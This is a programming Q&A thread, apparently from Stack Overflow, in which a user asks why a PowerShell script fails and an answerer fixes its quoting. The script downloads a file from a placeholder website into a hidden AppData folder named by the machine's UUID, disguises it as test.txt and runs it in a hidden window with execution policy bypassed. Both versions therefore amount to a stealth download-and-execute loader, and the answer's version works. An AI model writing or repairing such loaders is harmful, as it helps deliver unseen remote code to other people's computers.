aitsu
aitsu

Reputation: 13

execute a script from a created folder with Powershell

In powershell i can download a script in a specific random name created folder but i cannot find the right way to execute the script from there.Here the code that i used:

$uuid=(Get-WmiObject Win32_ComputerSystemProduct).UUID;
$path = $env:appdata+'\'+$uuid; $h=$path+'\d';  
if(!(test-path $path)) { New-Item -ItemType Directory -Force -Path 
$path;};
Invoke-WebRequest mywebsitefordownloadingscript -OutFile $path\\test.txt;
start-process -Windowstyle hidden cmd '/C 
'powershell.exe' -exec bypass $path\\test.txt';

there was something missing in last string maybe the problem persist if i use '+$path+' too.

Any suggestions??

Upvotes: 0

Views: 4450

Answers (1)

TheMadTechnician
TheMadTechnician

Reputation: 36322

The problem is your single quotes on the last two lines. Since you have enclosed $path within single quotes it is not expanded and is taken literally. Change to double quotes to expand the variable, and this should work.

$uuid=(Get-WmiObject Win32_ComputerSystemProduct).UUID
$path = $env:appdata+'\'+$uuid
$h=$path+'\d'
if(!(test-path $path)) { 
    New-Item -ItemType Directory -Force -Path $path
}
Invoke-WebRequest mywebsitefordownloadingscript -OutFile $path\\test.txt
start-process -Windowstyle hidden cmd "/C 'powershell.exe' -exec bypass $path\\test.txt"

Upvotes: 3

Related Questions